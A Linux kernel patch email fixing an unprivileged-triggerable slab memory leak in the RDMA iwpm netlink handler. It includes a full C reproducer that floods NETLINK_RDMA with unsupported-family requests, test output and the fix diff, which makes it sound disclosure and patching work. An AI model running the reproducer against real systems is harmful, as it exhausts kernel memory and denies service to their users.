From: Junyoung Jang <graypanda.inzag@gmail.com>
To: Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>
Cc: Junyoung Jang <graypanda.inzag@gmail.com>,
Jeffin Philip <jeffinphilip14@gmail.com>,
linux-rdma@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: [PATCH] RDMA/iwpm: fix memory leak in iwpm_add_remote_info()
Date: Tue, 10 Nov 2026 05:03:28 +0900 [thread overview]
Message-ID: <20261109200330.2361828-1-graypanda.inzag@gmail.com> (raw)
NETLINK_RDMA accepts requests addressed to kernel port ID 0 from a local
unprivileged socket. The IWCM RDMA_NL_IWPM_REMOTE_INFO callback has no
RDMA_NL_ADMIN_PERM flag, and RDMA netlink routes this IWCM opcode to its
dump callback even without NLM_F_DUMP.
iwpm_remote_info_cb() parses the six required attributes and only checks
that the local and mapped-local sockaddr_storage families match and that
the remote and mapped-remote families match. Four family-255 addresses
pass those checks. The callback allocates an iwpm_remote_info object
with GFP_ATOMIC and passes it to iwpm_add_remote_info(). There,
get_reminfo_hash_bucket() accepts only AF_INET and AF_INET6, so the
family-255 lookup returns NULL. The object is neither linked into
iwpm_reminfo_bucket nor freed, and the callback returns -EINVAL after
this allocation side effect.
iwpm_exit() only walks and frees linked hash entries, so closing the
netlink socket does not recover these orphaned objects. As a result, an
unprivileged local user in the initial network namespace can repeatedly
send this request without CAP_NET_ADMIN to permanently leak unreclaimable
kernel slab memory (kmalloc-512), leading to memory exhaustion and a
denial of service (DoS).
Initialize hash_bucket_head to NULL and, after the spinlock is released,
free rem_info if no bucket accepted it. Freeing after unlock also covers
the absent-table case without changing the protected list operation and
follows the existing null-bucket cleanup pattern in iwpm_add_mapinfo().
Fixes: 6eec17746175 ("RDMA/core: Enable the iWarp Port Mapper to provide the actual address of the connecting peer to its clients")
Signed-off-by: Junyoung Jang <graypanda.inzag@gmail.com>
---
Note: This patch addresses the unsupported-family orphan leak. A separate
valid-AF_INET route can insert duplicate remote-info entries without a
per-sender limit (as RDMA_NL_IWPM_REMOTE_INFO lacks RDMA_NL_ADMIN_PERM);
that growth can be addressed in a follow-up patch if desired.
Reproducer output on unpatched kernel (7.4.0-rc1):
# kmalloc-512 before: active=801 total=816 size=512
$ ./iwpm-remote-info-leak 1024 --control
uid=1000
mode=no-callback-control
rounds=1024
sunreclaim_before_kb=6672
first_reply_type=2
first_reply_len=580
first_reply_status=-22
sent=1024
recv_count=1024
sunreclaim_after_close_kb=6672
sunreclaim_delta_close_kb=0
sunreclaim_after_1s_kb=6684
sunreclaim_delta_1s_kb=12
# kmalloc-512 after control: active=801 total=816 size=512
$ ./iwpm-remote-info-leak 1024
uid=1000
mode=unsupported-family
rounds=1024
sunreclaim_before_kb=6684
first_reply_type=3
first_reply_len=20
first_reply_status=-22
sent=1024
recv_count=1024
sunreclaim_after_close_kb=7188
sunreclaim_delta_close_kb=504
sunreclaim_after_1s_kb=7188
sunreclaim_delta_1s_kb=504
# kmalloc-512 after unsupported-family: active=1809 total=1824 size=512
Reproducer output on patched kernel (7.4.0-rc1 + this patch):
# kmalloc-512 before: active=801 total=816 size=512
$ ./iwpm-remote-info-leak 1024 --control
uid=1000
mode=no-callback-control
rounds=1024
sunreclaim_before_kb=6632
first_reply_type=2
first_reply_len=580
first_reply_status=-22
sent=1024
recv_count=1024
sunreclaim_after_close_kb=6632
sunreclaim_delta_close_kb=0
sunreclaim_after_1s_kb=6644
sunreclaim_delta_1s_kb=12
# kmalloc-512 after control: active=801 total=816 size=512
$ ./iwpm-remote-info-leak 1024
uid=1000
mode=unsupported-family
rounds=1024
sunreclaim_before_kb=6644
first_reply_type=3
first_reply_len=20
first_reply_status=-22
sent=1024
recv_count=1024
sunreclaim_after_close_kb=6644
sunreclaim_delta_close_kb=0
sunreclaim_after_1s_kb=6644
sunreclaim_delta_1s_kb=0
# kmalloc-512 after unsupported-family: active=801 total=816 size=512
Reproducer (iwpm-remote-info-leak.c):
/* SPDX-License-Identifier: GPL-2.0-only */
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <linux/netlink.h>
#include <poll.h>
#include <rdma/rdma_netlink.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>
/*
* Exercise the IWPM remote-info callback with a complete netlink message
* whose four sockaddr_storage values share an unsupported address family.
* The --control mode sends the same attributes to an opcode with no callback.
* Run in the initial network namespace of a disposable test kernel.
*/
#define MAX_ROUNDS 4096
#define REPLY_TIMEOUT_MS 3000
_Static_assert(sizeof(struct sockaddr_storage) == 128,
"IWPM expects 128-byte sockaddr_storage attributes");
static void fail(const char *what)
{
fprintf(stderr, "%s: %s\n", what, strerror(errno));
exit(EXIT_FAILURE);
}
static unsigned long long sunreclaim_kb(void)
{
char line[256];
unsigned long long value;
FILE *file = fopen("/proc/meminfo", "r");
if (!file)
fail("fopen /proc/meminfo");
while (fgets(line, sizeof(line), file)) {
if (sscanf(line, "SUnreclaim: %llu kB", &value) == 1) {
if (fclose(file))
fail("fclose /proc/meminfo");
return value;
}
}
if (ferror(file))
fail("read /proc/meminfo");
fclose(file);
fputs("SUnreclaim is missing from /proc/meminfo\n", stderr);
exit(EXIT_FAILURE);
}
static size_t add_attr(unsigned char *buf, size_t capacity, size_t offset,
unsigned short type, const void *data, size_t data_len)
{
size_t length = NLA_HDRLEN + data_len;
size_t aligned = NLA_ALIGN(length);
struct nlattr *attr;
if (offset > capacity || aligned > capacity - offset || length > UINT16_MAX) {
fputs("request attribute buffer too small\n", stderr);
exit(EXIT_FAILURE);
}
attr = (struct nlattr *)(buf + offset);
attr->nla_type = type;
attr->nla_len = length;
memcpy((unsigned char *)attr + NLA_HDRLEN, data, data_len);
return offset + aligned;
}
static size_t make_request(unsigned char *buf, size_t capacity,
uint32_t sequence, bool control)
{
struct sockaddr_storage address = { .ss_family = 255 };
struct nlmsghdr *header = (struct nlmsghdr *)buf;
uint16_t error = 0;
unsigned int opcode = control ? RDMA_NL_IWPM_REMOVE_MAPPING :
RDMA_NL_IWPM_REMOTE_INFO;
size_t offset = NLMSG_HDRLEN;
memset(buf, 0, capacity);
offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPING_SEQ,
&sequence, sizeof(sequence));
offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_LOCAL_ADDR,
&address, sizeof(address));
offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_REMOTE_ADDR,
&address, sizeof(address));
offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPED_LOC_ADDR,
&address, sizeof(address));
offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPED_REM_ADDR,
&address, sizeof(address));
offset = add_attr(buf, capacity, offset, IWPM_NLA_RQUERY_MAPPING_ERR,
&error, sizeof(error));
header->nlmsg_len = offset;
header->nlmsg_type = RDMA_NL_GET_TYPE(RDMA_NL_IWCM, opcode);
header->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
header->nlmsg_seq = sequence;
return offset;
}
static void receive_reply(int fd, uint32_t sequence, int expected_type,
unsigned int *reply_count, bool first)
{
unsigned char buf[2048];
struct pollfd pfd = { .fd = fd, .events = POLLIN };
bool matched = false;
while (!matched) {
int ready;
ssize_t length;
int remaining;
struct nlmsghdr *header;
do {
ready = poll(&pfd, 1, REPLY_TIMEOUT_MS);
} while (ready < 0 && errno == EINTR);
if (ready < 0)
fail("poll NETLINK_RDMA");
if (ready == 0) {
fprintf(stderr, "no reply for sequence %u\n", sequence);
exit(EXIT_FAILURE);
}
do {
length = recv(fd, buf, sizeof(buf), 0);
} while (length < 0 && errno == EINTR);
if (length < 0)
fail("recv NETLINK_RDMA");
remaining = length;
for (header = (struct nlmsghdr *)buf;
NLMSG_OK(header, remaining);
header = NLMSG_NEXT(header, remaining)) {
int status;
(*reply_count)++;
if (header->nlmsg_seq != sequence)
continue;
if (header->nlmsg_type != expected_type)
continue;
if (header->nlmsg_len < NLMSG_LENGTH(sizeof(status))) {
fputs("short netlink reply\n", stderr);
exit(EXIT_FAILURE);
}
memcpy(&status, NLMSG_DATA(header), sizeof(status));
if (first) {
printf("first_reply_type=%u\n", header->nlmsg_type);
printf("first_reply_len=%u\n", header->nlmsg_len);
printf("first_reply_status=%d\n", status);
}
if (status != -EINVAL) {
fprintf(stderr, "unexpected reply status %d\n", status);
exit(EXIT_FAILURE);
}
matched = true;
}
if (remaining) {
fputs("malformed netlink reply\n", stderr);
exit(EXIT_FAILURE);
}
}
}
int main(int argc, char **argv)
{
struct sockaddr_nl kernel = { .nl_family = AF_NETLINK };
unsigned char request[576];
unsigned long parsed;
unsigned int rounds, replies = 0;
unsigned long long before, after, later;
bool control = false;
char *end;
int fd;
if (argc < 2 || argc > 3) {
fprintf(stderr, "usage: %s ROUNDS [--control]\n", argv[0]);
return 2;
}
errno = 0;
parsed = strtoul(argv[1], &end, 10);
if (errno || !*argv[1] || *end || !parsed || parsed > MAX_ROUNDS) {
fprintf(stderr, "ROUNDS must be between 1 and %d\n", MAX_ROUNDS);
return 2;
}
if (argc == 3) {
if (strcmp(argv[2], "--control")) {
fprintf(stderr, "usage: %s ROUNDS [--control]\n", argv[0]);
return 2;
}
control = true;
}
rounds = parsed;
printf("uid=%u\nmode=%s\nrounds=%u\n", (unsigned int)getuid(),
control ? "no-callback-control" : "unsupported-family", rounds);
before = sunreclaim_kb();
printf("sunreclaim_before_kb=%llu\n", before);
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_RDMA);
if (fd < 0)
fail("socket NETLINK_RDMA");
for (uint32_t i = 1; i <= rounds; i++) {
size_t length = make_request(request, sizeof(request), i, control);
ssize_t sent;
do {
sent = sendto(fd, request, length, 0,
(struct sockaddr *)&kernel, sizeof(kernel));
} while (sent < 0 && errno == EINTR);
if (sent < 0)
fail("sendto NETLINK_RDMA");
if ((size_t)sent != length) {
fputs("short netlink send\n", stderr);
return EXIT_FAILURE;
}
receive_reply(fd, i, control ? NLMSG_ERROR : NLMSG_DONE,
&replies, i == 1);
}
printf("sent=%u\nrecv_count=%u\n", rounds, replies);
if (close(fd))
fail("close NETLINK_RDMA");
after = sunreclaim_kb();
printf("sunreclaim_after_close_kb=%llu\n", after);
printf("sunreclaim_delta_close_kb=%lld\n",
(long long)after - (long long)before);
sleep(1);
later = sunreclaim_kb();
printf("sunreclaim_after_1s_kb=%llu\n", later);
printf("sunreclaim_delta_1s_kb=%lld\n",
(long long)later - (long long)before);
return EXIT_SUCCESS;
}
drivers/infiniband/core/iwpm_util.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/infiniband/core/iwpm_util.c b/drivers/infiniband/core/iwpm_util.c
index 51af8c1c49f9..215f70cfd113 100644
--- a/drivers/infiniband/core/iwpm_util.c
+++ b/drivers/infiniband/core/iwpm_util.c
@@ -236,7 +236,7 @@ static struct hlist_head *get_reminfo_hash_bucket(struct sockaddr_storage *,
void iwpm_add_remote_info(struct iwpm_remote_info *rem_info)
{
- struct hlist_head *hash_bucket_head;
+ struct hlist_head *hash_bucket_head = NULL;
unsigned long flags;
spin_lock_irqsave(&iwpm_reminfo_lock, flags);
@@ -248,6 +248,9 @@ void iwpm_add_remote_info(struct iwpm_remote_info *rem_info)
hlist_add_head(&rem_info->hlist_node, hash_bucket_head);
}
spin_unlock_irqrestore(&iwpm_reminfo_lock, flags);
+
+ if (!hash_bucket_head)
+ kfree(rem_info);
}
/**
--
2.43.0
next reply other threads:[~2026-11-09 20:03 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-11-09 20:03 Junyoung Jang [this message]
2026-11-09 20:15 ` [PATCH] RDMA/iwpm: fix memory leak in iwpm_add_remote_info() sashiko-bot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20261109200330.2361828-1-graypanda.inzag@gmail.com \
--to=graypanda.inzag@gmail.com \
--cc=jeffinphilip14@gmail.com \
--cc=jgg@ziepe.ca \
--cc=leon@kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-rdma@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.